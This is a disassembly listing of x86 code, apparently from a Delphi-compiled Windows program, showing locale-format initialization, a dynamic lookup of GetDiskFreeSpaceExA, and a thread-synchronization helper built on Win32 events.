cmp byte ptr ds:dword_4001E8D4, 0
jz short loc_4000BE9A
call sub_4000AAF4
loc_4000BE9A: ; CODE XREF: sub_4000BE64+2Fj
call sub_400065C8 ; GetThreadLocale
mov ebx, eax
lea eax, [ebp+var_10]
push eax
xor ecx, ecx
mov edx, 14h
mov eax, ebx
call sub_4000A868
mov edx, [ebp+var_10]
mov eax, offset dword_4001E808
call sub_400048D8
lea eax, [ebp+var_14]
push eax
mov ecx, offset dword_4000C144
mov edx, 1Bh
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_14]
xor edx, edx
call sub_40007DD4
mov ds:byte_4001E80C, al
lea eax, [ebp+var_18]
push eax
mov ecx, offset dword_4000C144
mov edx, 1Ch
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_18]
xor edx, edx
call sub_40007DD4
mov ds:byte_4001E80D, al
mov cl, 2Ch
mov edx, 0Fh
mov eax, ebx
call sub_4000A8B4
mov ds:byte_4001E80E, al
mov cl, 2Eh
mov edx, 0Eh
mov eax, ebx
call sub_4000A8B4
mov ds:byte_4001E80F, al
lea eax, [ebp+var_1C]
push eax
mov ecx, offset dword_4000C144
mov edx, 19h
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_1C]
xor edx, edx
call sub_40007DD4
mov ds:byte_4001E810, al
mov cl, 2Fh
mov edx, 1Dh
mov eax, ebx
call sub_4000A8B4
mov ds:byte_4001E811, al
lea eax, [ebp+var_24]
push eax
mov ecx, offset dword_4000C150
mov edx, 1Fh
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_24]
lea edx, [ebp+var_20]
call sub_4000ABA4
mov edx, [ebp+var_20]
mov eax, offset dword_4001E814
call sub_400048D8
lea eax, [ebp+var_2C]
push eax
mov ecx, offset dword_4000C160
mov edx, 20h
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_2C]
lea edx, [ebp+var_28]
call sub_4000ABA4
mov edx, [ebp+var_28]
mov eax, offset dword_4001E818
call sub_400048D8
mov cl, 3Ah
mov edx, 1Eh
mov eax, ebx
call sub_4000A8B4
mov ds:byte_4001E81C, al
lea eax, [ebp+var_30]
push eax
mov ecx, offset dword_4000C178
mov edx, 28h
mov eax, ebx
call sub_4000A868
mov edx, [ebp+var_30]
mov eax, offset dword_4001E820
call sub_400048D8
lea eax, [ebp+var_34]
push eax
mov ecx, offset dword_4000C184
mov edx, 29h
mov eax, ebx
call sub_4000A868
mov edx, [ebp+var_34]
mov eax, offset dword_4001E824
call sub_400048D8
lea eax, [ebp+var_8]
call sub_40004884
lea eax, [ebp+var_C]
call sub_40004884
lea eax, [ebp+var_38]
push eax
mov ecx, offset dword_4000C144
mov edx, 25h
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_38]
xor edx, edx
call sub_40007DD4
test eax, eax
jnz short loc_4000C058
lea eax, [ebp+var_4]
mov edx, offset dword_4000C190
call sub_4000491C
jmp short loc_4000C065
; ---------------------------------------------------------------------------
loc_4000C058: ; CODE XREF: sub_4000BE64+1E3j
lea eax, [ebp+var_4]
mov edx, offset dword_4000C19C
call sub_4000491C
loc_4000C065: ; CODE XREF: sub_4000BE64+1F2j
lea eax, [ebp+var_3C]
push eax
mov ecx, offset dword_4000C144
mov edx, 23h
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_3C]
xor edx, edx
call sub_40007DD4
test eax, eax
jnz short loc_4000C0C7
lea eax, [ebp+var_40]
push eax
mov ecx, offset dword_4000C144
mov edx, 1005h
mov eax, ebx
call sub_4000A868
mov eax, [ebp+var_40]
xor edx, edx
call sub_40007DD4
test eax, eax
jnz short loc_4000C0BA
lea eax, [ebp+var_C]
mov edx, offset dword_4000C1A8
call sub_4000491C
jmp short loc_4000C0C7
; ---------------------------------------------------------------------------
loc_4000C0BA: ; CODE XREF: sub_4000BE64+245j
lea eax, [ebp+var_8]
mov edx, offset dword_4000C1B8
call sub_4000491C
loc_4000C0C7: ; CODE XREF: sub_4000BE64+222j
; sub_4000BE64+254j
push [ebp+var_8]
push [ebp+var_4]
push offset dword_4000C1C8
push [ebp+var_C]
mov eax, offset dword_4001E828
mov edx, 4
call sub_40004C08
push [ebp+var_8]
push [ebp+var_4]
push offset dword_4000C1D4
push [ebp+var_C]
mov eax, offset dword_4001E82C
mov edx, 4
call sub_40004C08
mov cl, 2Ch
mov edx, 0Ch
mov eax, ebx
call sub_4000A8B4
mov byte ptr ds:dword_4001E8D4+2, al
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000C136
loc_4000C121: ; CODE XREF: sub_4000BE64+2D0j
lea eax, [ebp+var_40]
mov edx, 10h
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_4000C12F: ; DATA XREF: sub_4000BE64+13o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000C121
; ---------------------------------------------------------------------------
loc_4000C136: ; CODE XREF: sub_4000BE64+2CAj
; DATA XREF: sub_4000BE64+2B8o
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000BE64 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_4000C144 dd 30h, 0FFFFFFFFh, 6 ; sub_4000BE64+84o ...
dword_4000C150 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Chdword_4000C160 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 dd 0FFFFFFFFh, 2
dword_4000C178 dd 6D61h, 0FFFFFFFFh, 2dword_4000C184 dd 6D70h, 0FFFFFFFFh, 1dword_4000C190 dd 68h, 0FFFFFFFFh, 2dword_4000C19C dd 6868h, 0FFFFFFFFh, 5dword_4000C1A8 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5dword_4000C1B8 dd 4D504D41h, 20h, 0FFFFFFFFh, 3dword_4000C1C8 dd 6D6D3Ah, 0FFFFFFFFh, 6dword_4000C1D4 dd 3A6D6D3Ah, 7373hoff_4000C1DC dd offset dword_4000C1E0 ; DATA XREF: .text:4000C225o
dword_4000C1E0 dd 55540E11h, 4874696Eh, 41687361h, 79617272h, 14h, 0
; DATA XREF: .text:off_4000C1DCo
dd 0FFFFFFFFh, 0
dd 73795308h, 6C697455h, 408D73h
off_4000C20C dd offset dword_4000C210 ; DATA XREF: sub_4000C230:loc_4000C3EBr
dword_4000C210 dd 4D540B0Eh, 6C75646Fh, 666E4965h, 86Fh, 100h
; DATA XREF: .text:off_4000C20Co
db 0
dd offset off_4000C1DC
db 4, 2 dup(0)
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000C230 proc near ; DATA XREF: sub_4000CC50+27o
; sub_400190AC+4Bo
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF4h
mov edx, off_4001B074
mov edx, [edx]
test edx, edx
jz short loc_4000C24E
loc_4000C243: ; CODE XREF: sub_4000C230+1Cj
cmp eax, [edx+4]
jz short loc_4000C24E
mov edx, [edx]
test edx, edx
jnz short loc_4000C243
loc_4000C24E: ; CODE XREF: sub_4000C230+11j
; sub_4000C230+16j
mov [esp+1Ch+var_1C], edx
cmp [esp+1Ch+var_1C], 0
jz loc_4000C400
mov eax, [esp+1Ch+var_1C]
cmp dword ptr [eax+14h], 0
jz loc_4000C400
mov eax, [esp+1Ch+var_1C]
mov ebx, [eax+14h]
cmp byte ptr [ebx], 0
jz short loc_4000C27D
mov [esp+1Ch+var_18], offset dword_4001EA24
jmp short loc_4000C285
; ---------------------------------------------------------------------------
loc_4000C27D: ; CODE XREF: sub_4000C230+41j
mov [esp+1Ch+var_18], offset dword_4001EE24
loc_4000C285: ; CODE XREF: sub_4000C230+4Bj
mov eax, [ebx+4]
call sub_40005974
mov edi, eax
test edi, edi
jl loc_4000C3EB
inc edi
xor esi, esi
loc_4000C29A: ; CODE XREF: sub_4000C230+1B5j
lea eax, [esi+esi*4]
mov edx, [ebx+4]
cmp dword ptr [edx+eax*4+4], 0
jz short loc_4000C2BE
mov edx, [ebx+4]
mov eax, [edx+eax*4]
lea edx, [esi+esi*4]
mov ecx, [ebx+4]
mov edx, [ecx+edx*4+4]
mov [edx], eax
jmp loc_4000C3C4
; ---------------------------------------------------------------------------
loc_4000C2BE: ; CODE XREF: sub_4000C230+75j
mov edx, [ebx+4]
cmp dword ptr [edx+eax*4+0Ch], 0
jz loc_4000C3C4
lea eax, [esi+esi*4]
mov edx, [ebx+4]
mov eax, [edx+eax*4+0Ch]
xor edx, edx
mov [esp+1Ch+var_14], edx
loc_4000C2DC: ; CODE XREF: sub_4000C230+153j
movzx edx, byte ptr [eax]
test dl, dl
jz loc_4000C388
mov ecx, [esp+1Ch+var_14]
add ecx, ecx
add ecx, ecx
mov ebp, [esp+1Ch+var_14]
shr ebp, 1Eh
or ecx, ebp
movzx edx, dl
movzx edx, ds:byte_4001E924[edx]
xor ecx, edx
mov [esp+1Ch+var_14], ecx
cmp byte ptr [eax+1], 0
jz short loc_4000C388
mov edx, [esp+1Ch+var_14]
add edx, edx
add edx, edx
mov ecx, [esp+1Ch+var_14]
shr ecx, 1Eh
or edx, ecx
movzx ecx, byte ptr [eax+1]
movzx ecx, ds:byte_4001E924[ecx]
xor edx, ecx
mov [esp+1Ch+var_14], edx
cmp byte ptr [eax+2], 0
jz short loc_4000C388
mov edx, [esp+1Ch+var_14]
add edx, edx
add edx, edx
mov ecx, [esp+1Ch+var_14]
shr ecx, 1Eh
or edx, ecx
movzx ecx, byte ptr [eax+2]
movzx ecx, ds:byte_4001E924[ecx]
xor edx, ecx
mov [esp+1Ch+var_14], edx
cmp byte ptr [eax+3], 0
jz short loc_4000C388
mov edx, [esp+1Ch+var_14]
add edx, edx
add edx, edx
mov ecx, [esp+1Ch+var_14]
shr ecx, 1Eh
or edx, ecx
movzx ecx, byte ptr [eax+3]
movzx ecx, ds:byte_4001E924[ecx]
xor edx, ecx
mov [esp+1Ch+var_14], edx
add eax, 4
jmp loc_4000C2DC
; ---------------------------------------------------------------------------
loc_4000C388: ; CODE XREF: sub_4000C230+B1j
; sub_4000C230+DCj ...
movzx eax, byte ptr [esp+1Ch+var_14]
xor al, byte ptr [esp+1Ch+var_14+1]
xor al, byte ptr [esp+1Ch+var_14+2]
xor al, byte ptr [esp+1Ch+var_14+3]
movzx edx, al
mov ecx, [esp+1Ch+var_18]
mov edx, [ecx+edx*4]
lea ecx, [esi+esi*4]
mov ebp, [ebx+4]
lea ecx, [ebp+ecx*4+0]
cmp edx, ecx
jnz short loc_4000C3C4
lea edx, [esi+esi*4]
mov ecx, [ebx+4]
mov edx, [ecx+edx*4]
movzx eax, al
mov ecx, [esp+1Ch+var_18]
mov [ecx+eax*4], edx
loc_4000C3C4: ; CODE XREF: sub_4000C230+89j
; sub_4000C230+96j ...
lea eax, [esi+esi*4]
mov edx, [ebx+4]
cmp dword ptr [edx+eax*4], 0
jz short loc_4000C3E3
mov edx, [ebx+4]
mov eax, [edx+eax*4+4]
lea edx, [esi+esi*4]
mov ecx, [ebx+4]
mov edx, [ecx+edx*4]
mov [edx+4], eax
loc_4000C3E3: ; CODE XREF: sub_4000C230+19Ej
inc esi
dec edi
jnz loc_4000C29A
loc_4000C3EB: ; CODE XREF: sub_4000C230+61j
mov edx, ds:off_4000C20C
mov eax, ebx
call sub_40005634
mov eax, [esp+1Ch+var_1C]
xor edx, edx
mov [eax+14h], edx
loc_4000C400: ; CODE XREF: sub_4000C230+25j
; sub_4000C230+32j
add esp, 0Ch
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000C230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000C408 proc near ; CODE XREF: .text:4000C8EAp
jmp ds:dword_4002463C
sub_4000C408 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000C410 proc near ; CODE XREF: sub_40013E14+28p
call sub_40006580 ; RtlGetLastWin32Error
call sub_4000C41C
retn
sub_4000C410 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000C41C proc near ; CODE XREF: sub_4000C410+5p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
xor edx, edx
mov [ebp+var_14], edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000C4A7
push dword ptr fs:[eax]
mov fs:[eax], esp
test ebx, ebx
jz short loc_4000C473
mov [ebp+var_10], ebx
mov [ebp+var_C], 0
lea edx, [ebp+var_14]
mov eax, ebx
call sub_4000A81C
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
mov [ebp+var_4], 0Bh
lea eax, [ebp+var_10]
push eax
push 1
mov ecx, off_4001B030
mov dl, 1
mov eax, ds:off_40007720
call sub_4000B128
mov edx, eax
jmp short loc_4000C487
; ---------------------------------------------------------------------------
loc_4000C473: ; CODE XREF: sub_4000C41C+1Ej
mov ecx, off_4001B0A4
mov dl, 1
mov eax, ds:off_40007720
call sub_4000B0EC
mov edx, eax
loc_4000C487: ; CODE XREF: sub_4000C41C+55j
mov [edx+0Ch], ebx
mov eax, edx
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000C4AE
loc_4000C49E: ; CODE XREF: sub_4000C41C+90j
lea eax, [ebp+var_14]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000C4A7: ; DATA XREF: sub_4000C41C+11o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000C49E
; ---------------------------------------------------------------------------
loc_4000C4AE: ; CODE XREF: sub_4000C41C+8Aj
; DATA XREF: sub_4000C41C+7Do
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000C41C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C4B4 proc near ; CODE XREF: sub_4000CC50+31p
push ebx
push esi
mov esi, offset dword_4001AA04
jmp short loc_4000C4CF
; ---------------------------------------------------------------------------
loc_4000C4BD: ; CODE XREF: sub_4000C4B4+1Ej
mov ebx, [esi]
mov eax, [ebx]
mov [esi], eax
mov edx, 8
mov eax, ebx
call sub_40002C3C
loc_4000C4CF: ; CODE XREF: sub_4000C4B4+7j
cmp dword ptr [esi], 0
jnz short loc_4000C4BD
pop esi
pop ebx
retn
sub_4000C4B4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C4D8 proc near ; CODE XREF: sub_400190AC+5Ap
push ebx
push offset dword_4000C510
call sub_400065A0 ; GetModuleHandleA
mov ebx, eax
test ebx, ebx
jz short loc_4000C4F9
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push ebx
call sub_400065A8 ; GetProcAddress
mov dword_4001A850, eax
loc_4000C4F9: ; CODE XREF: sub_4000C4D8+Fj
cmp dword_4001A850, 0
jnz short loc_4000C50C
mov eax, offset sub_400080E8
mov dword_4001A850, eax
loc_4000C50C: ; CODE XREF: sub_4000C4D8+28j
pop ebx
retn
sub_4000C4D8 endp
; ---------------------------------------------------------------------------
align 10h
dword_4000C510 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4000C4D8+11o
; =============== S U B R O U T I N E =======================================
sub_4000C534 proc near ; CODE XREF: sub_4000C79C+44p
; sub_4000C79C+92p ...
mov edx, 1
xchg eax, edx
lock xadd [edx], eax
inc eax
retn
sub_4000C534 endp
; =============== S U B R O U T I N E =======================================
sub_4000C540 proc near ; CODE XREF: sub_4000C79C+87p
; .text:4000C8F9p
mov edx, 0FFFFFFFFh
xchg eax, edx
lock xadd [edx], eax
dec eax
retn
sub_4000C540 endp
; =============== S U B R O U T I N E =======================================
sub_4000C54C proc near ; CODE XREF: sub_4000C5D0+62p
; sub_4000C658+1Ep
xchg edx, [eax]
mov eax, edx
retn
sub_4000C54C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C554 proc near ; CODE XREF: sub_4000C79C+53p
; sub_4000C79C+6Dp ...
xchg eax, edx
lock xadd [edx], eax
retn
sub_4000C554 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C55C proc near ; DATA XREF: .text:40007874o
var_14 = byte ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
call sub_40003FD8
mov [esp+14h+var_14], dl
mov ebp, eax
xor edi, edi
loc_4000C56D: ; CODE XREF: sub_4000C55C+32j
mov ebx, [ebp+edi*4+4]
xor eax, eax
mov [ebp+edi*4+4], eax
test ebx, ebx
jz short loc_4000C58A
loc_4000C57B: ; CODE XREF: sub_4000C55C+2Cj
mov esi, ebx
mov ebx, [ebx]
mov eax, esi
call sub_40002C3C
test ebx, ebx
jnz short loc_4000C57B
loc_4000C58A: ; CODE XREF: sub_4000C55C+1Dj
inc edi
cmp edi, 10h
jnz short loc_4000C56D
movzx edx, [esp+14h+var_14]
and dl, 0FCh
mov eax, ebp
call sub_40003CD8
cmp [esp+14h+var_14], 0
jle short loc_4000C5AB
mov eax, ebp
call sub_40003F80
loc_4000C5AB: ; CODE XREF: sub_4000C55C+46j
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000C55C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000C5B4 proc near ; CODE XREF: sub_4000C5D0+Cp
; sub_4000C658+6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
call sub_40006560 ; GetCurrentThreadId
mov [ebp+var_2], ax
movzx eax, byte ptr [ebp+var_2]
xor al, byte ptr [ebp+var_2+1]
and al, 0Fh
pop ecx
pop ebp
retn
sub_4000C5B4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000C5D0 proc near ; CODE XREF: sub_4000C79C+2Ep
; .text:4000C851p ...
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov [esp+14h+var_14], edx
mov edi, eax
mov eax, edi
call sub_4000C5B4
mov ebx, eax
call sub_40006560 ; GetCurrentThreadId
mov esi, eax
movzx eax, bl
mov ebp, [edi+eax*4+4]
jmp short loc_4000C5F6
; ---------------------------------------------------------------------------
loc_4000C5F3: ; CODE XREF: sub_4000C5D0+2Dj
mov ebp, [ebp+0]
loc_4000C5F6: ; CODE XREF: sub_4000C5D0+21j
test ebp, ebp
jz short loc_4000C5FF
cmp esi, [ebp+4]
jnz short loc_4000C5F3
loc_4000C5FF: ; CODE XREF: sub_4000C5D0+28j
test ebp, ebp
jnz short loc_4000C63A
mov eax, edi
call sub_4000C658
mov ebp, eax
test ebp, ebp
jnz short loc_4000C63A
mov eax, 10h
call loc_40002C08
mov ebp, eax
mov [ebp+4], esi
mov dword ptr [ebp+8], 7FFFFFFFh
mov [ebp+0], ebp
movzx eax, bl
lea eax, [edi+eax*4+4]
mov edx, ebp
call sub_4000C54C
mov [ebp+0], eax
loc_4000C63A: ; CODE XREF: sub_4000C5D0+31j
; sub_4000C5D0+3Ej
mov eax, [esp+14h+var_14]
mov [eax], ebp
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000C5D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C648 proc near ; CODE XREF: .text:4000C88Dp
; .text:4000C92Ap
mov eax, [edx]
xor ecx, ecx
mov [eax+4], ecx
mov eax, [edx]
xor edx, edx
mov [eax+8], edx
retn
sub_4000C648 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C658 proc near ; CODE XREF: sub_4000C5D0+35p
push ebx
push esi
mov ebx, eax
mov eax, ebx
call sub_4000C5B4
movzx eax, al
mov ebx, [ebx+eax*4+4]
test ebx, ebx
jz short loc_4000C695
loc_4000C66E: ; CODE XREF: sub_4000C658+3Bj
lea eax, [ebx+8]
mov edx, 7FFFFFFFh
call sub_4000C54C
mov esi, eax
cmp esi, 7FFFFFFFh
jz short loc_4000C68F
call sub_40006560 ; GetCurrentThreadId
mov [ebx+4], eax
jmp short loc_4000C695
; ---------------------------------------------------------------------------
loc_4000C68F: ; CODE XREF: sub_4000C658+2Bj
mov ebx, [ebx]
test ebx, ebx
jnz short loc_4000C66E
loc_4000C695: ; CODE XREF: sub_4000C658+14j
; sub_4000C658+35j
mov eax, ebx
pop esi
pop ebx
retn
sub_4000C658 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C69C proc near ; CODE XREF: sub_400191F8+30p
push ebx
push esi
test dl, dl
jz short loc_4000C6AA
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4000C6AA: ; CODE XREF: sub_4000C69C+4j
mov ebx, edx
mov esi, eax
xor edx, edx
mov eax, esi
call sub_40003CB8
mov dword ptr [esi+0Ch], 0FFFFh
push 0
push 0FFFFFFFFh
push 0FFFFFFFFh
push 0
call sub_40006508 ; CreateEventA
mov [esi+10h], eax
push 0
push 0
push 0
push 0
call sub_40006508 ; CreateEventA
mov [esi+14h], eax
mov dword ptr [esi+18h], 0FFFFFFFFh
mov dl, 1
mov eax, ds:off_4000782C
call sub_40003CB8
mov [esi+20h], eax
mov eax, esi
test bl, bl
jz short loc_4000C709
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_4000C709: ; CODE XREF: sub_4000C69C+5Cj
mov eax, esi
pop esi
pop ebx
retn
sub_4000C69C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000C710 proc near ; DATA XREF: .text:40007950o
push ebx
push esi
call sub_40003FD8
mov ebx, edx
mov esi, eax
mov eax, esi
call sub_4000C79C
mov edx, ebx
and dl, 0FCh
mov eax, esi
call sub_40003CD8
mov eax, [esi+10h]
push eax
call sub_400064F0 ; CloseHandle
mov eax, [esi+14h]
push eax
call sub_400064F0 ; CloseHandle
mov eax, [esi+20h]
call sub_40003CE8
test bl, bl
jle short loc_4000C753
mov eax, esi
call sub_40003F80
loc_4000C753: ; CODE XREF: sub_4000C710+3Aj
pop esi
pop ebx
retn
sub_4000C710 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C758 proc near ; CODE XREF: sub_4000C79C+1Dp
; sub_4000C79C+7Bp
mov eax, [eax+10h]
push eax
call sub_40006620 ; ResetEvent
retn
sub_4000C758 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C764 proc near ; CODE XREF: .text:4000C87Ap
mov eax, [eax+10h]
push eax
call sub_40006628 ; SetEvent
retn
sub_4000C764 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4000C770 proc near ; CODE XREF: .text:4000C873p
; .text:4000C8E3p ...
mov eax, [eax+14h]
push eax
call sub_40006628 ; SetEvent
retn
sub_4000C770 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C77C proc near ; CODE XREF: .text:4000C8C8p
; .text:4000C8F1p
mov edx, [eax+18h]
push edx
mov eax, [eax+10h]
push eax
call sub_40006650 ; WaitForSingleObject
retn
sub_4000C77C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C78C proc near ; CODE XREF: sub_4000C79C+60p
mov edx, [eax+18h]
push edx
mov eax, [eax+14h]
push eax
call sub_40006650 ; WaitForSingleObject
retn
sub_4000C78C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000C79C proc near ; CODE XREF: sub_4000C710+Dp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF8h
mov ebp, eax
mov bl, 1
call sub_40006560 ; GetCurrentThreadId
mov edi, eax
cmp edi, [ebp+24h]
jz loc_4000C83B
mov eax, ebp
call sub_4000C758
mov eax, [ebp+28h]
mov [esp+18h+var_14], eax
mov edx, esp
mov eax, [ebp+20h]
call sub_4000C5D0
mov eax, [esp+18h+var_18]
cmp dword ptr [eax+0Ch], 0
setnbe bl
test bl, bl
jz short loc_4000C801
lea eax, [ebp+0Ch]
call sub_4000C534
jmp short loc_4000C801
; ---------------------------------------------------------------------------
loc_4000C7E7: ; CODE XREF: sub_4000C79C+77j
lea eax, [ebp+0Ch]
mov edx, 0FFFFh
call sub_4000C554
mov esi, eax
test esi, esi
jz short loc_4000C801
mov eax, ebp
call sub_4000C78C
loc_4000C801: ; CODE XREF: sub_4000C79C+3Fj
; sub_4000C79C+49j ...
lea eax, [ebp+0Ch]
mov edx, 0FFFF0001h
call sub_4000C554
cmp eax, 0FFFFh
jnz short loc_4000C7E7
mov eax, ebp
call sub_4000C758
test bl, bl
jz short loc_4000C828
lea eax, [ebp+0Ch]
call sub_4000C540
loc_4000C828: ; CODE XREF: sub_4000C79C+82j
mov [ebp+24h], edi
lea eax, [ebp+28h]
call sub_4000C534
dec eax
cmp eax, [esp+18h+var_14]
setz bl
loc_4000C83B: ; CODE XREF: sub_4000C79C+15j
inc dword ptr [ebp+1Ch]
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000C79C endp
; ---------------------------------------------------------------------------
align 4
push ebx
push ecx
mov ebx, eax
mov edx, esp
mov eax, [ebx+20h]
call sub_4000C5D0
dec dword ptr [ebx+1Ch]
cmp dword ptr [ebx+1Ch], 0
jnz short loc_4000C87F
xor eax, eax
mov [ebx+24h], eax
lea eax, [ebx+0Ch]
mov edx, 0FFFFh
call sub_4000C554
mov eax, ebx
call sub_4000C770
mov eax, ebx
call sub_4000C764
loc_4000C87F: ; CODE XREF: .text:4000C85Dj
mov eax, [esp]
cmp dword ptr [eax+0Ch], 0
jnz short loc_4000C892
mov edx, esp
mov eax, [ebx+20h]
call sub_4000C648
loc_4000C892: ; CODE XREF: .text:4000C886j
pop edx
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
push ebx
push esi
push edi
push ecx
mov edi, eax
mov edx, esp
mov eax, [edi+20h]
call sub_4000C5D0
mov eax, [esp]
inc dword ptr [eax+0Ch]
mov eax, [esp]
cmp dword ptr [eax+0Ch], 1
setnbe bl
call sub_40006560 ; GetCurrentThreadId
cmp eax, [edi+24h]
jz short loc_4000C902
test bl, bl
jnz short loc_4000C902
mov eax, edi
call sub_4000C77C
jmp short loc_4000C8F6
; ---------------------------------------------------------------------------
loc_4000C8CF: ; CODE XREF: .text:4000C900j
lea eax, [edi+0Ch]
call sub_4000C534
mov esi, eax
cmp esi, 0FFFFh
jnz short loc_4000C8E8
mov eax, edi
call sub_4000C770
loc_4000C8E8: ; CODE XREF: .text:4000C8DFj
push 0
call sub_4000C408 ; Sleep
mov eax, edi
call sub_4000C77C
loc_4000C8F6: ; CODE XREF: .text:4000C8CDj
lea eax, [edi+0Ch]
call sub_4000C540
test eax, eax
jle short loc_4000C8CF
loc_4000C902: ; CODE XREF: .text:4000C8C0j
; .text:4000C8C4j
pop edx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
push ebx
push ecx
mov ebx, eax
mov edx, esp
mov eax, [ebx+20h]
call sub_4000C5D0
mov eax, [esp]
dec dword ptr [eax+0Ch]
mov eax, [esp]
cmp dword ptr [eax+0Ch], 0
jnz short loc_4000C96D
mov edx, esp
mov eax, [ebx+20h]
call sub_4000C648
call sub_40006560 ; GetCurrentThreadId
cmp eax, [ebx+24h]
jz short loc_4000C96D
lea eax, [ebx+0Ch]
call sub_4000C534
mov ecx, eax
cmp ecx, 0FFFFh
jnz short loc_4000C954
mov eax, ebx
call sub_4000C770
jmp short loc_4000C96D
; ---------------------------------------------------------------------------
loc_4000C954: ; CODE XREF: .text:4000C949j
test ecx, ecx
jg short loc_4000C96D
mov eax, ecx
mov ecx, 0FFFFh
cdq
idiv ecx
test edx, edx
jnz short loc_4000C96D
mov eax, ebx
call sub_4000C770
loc_4000C96D: ; CODE XREF: .text:4000C923j
; .text:4000C937j ...
pop edx
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_4000C970 proc near ; CODE XREF: sub_4000CC50+22p
; sub_40013ED4+40p ...
mov edx, [eax]
xor ecx, ecx
mov [eax], ecx
mov eax, edx
call sub_40003CE8
retn
sub_4000C970 endp
; ---------------------------------------------------------------------------
align 10h
dword_4000C980 dd 1Dh dd offset dword_4001AA00
dd offset off_4001B010
dd offset dword_4001A9F8
dd offset off_4001AFA4
dd offset dword_4001A9F0
dd offset off_4001AEE0
dd offset dword_4001A9E8
dd offset off_4001B038
dd offset dword_4001A9E0
dd offset off_4001B050
dd offset dword_4001A9D8
dd offset off_4001AF44
dd offset dword_4001A9D0
dd offset off_4001AF94
dd offset dword_4001A9C8
dd offset off_4001AEBC
dd offset dword_4001A9C0
dd offset off_4001AFB4
dd offset dword_4001A9B8
dd offset off_4001AFD4
dd offset dword_4001A9B0
dd offset off_4001AF70
dd offset dword_4001A9A8
dd offset off_4001AF78
dd offset dword_4001A9A0
dd offset off_4001B088
dd offset dword_4001A998
dd offset off_4001AF74
dd offset dword_4001A990
dd offset off_4001B0BC
dd offset dword_4001A988
dd offset off_4001B004
dd offset dword_4001A980
dd offset off_4001AFEC
dd offset dword_4001A978
dd offset off_4001B0C4
dd offset dword_4001A970
dd offset off_4001B0A8
dd offset dword_4001A968
dd offset off_4001AF88
dd offset dword_4001A960
dd offset off_4001B08C
dd offset dword_4001A958
dd offset off_4001B094
dd offset dword_4001A950
dd offset off_4001AF34
dd offset dword_4001A948
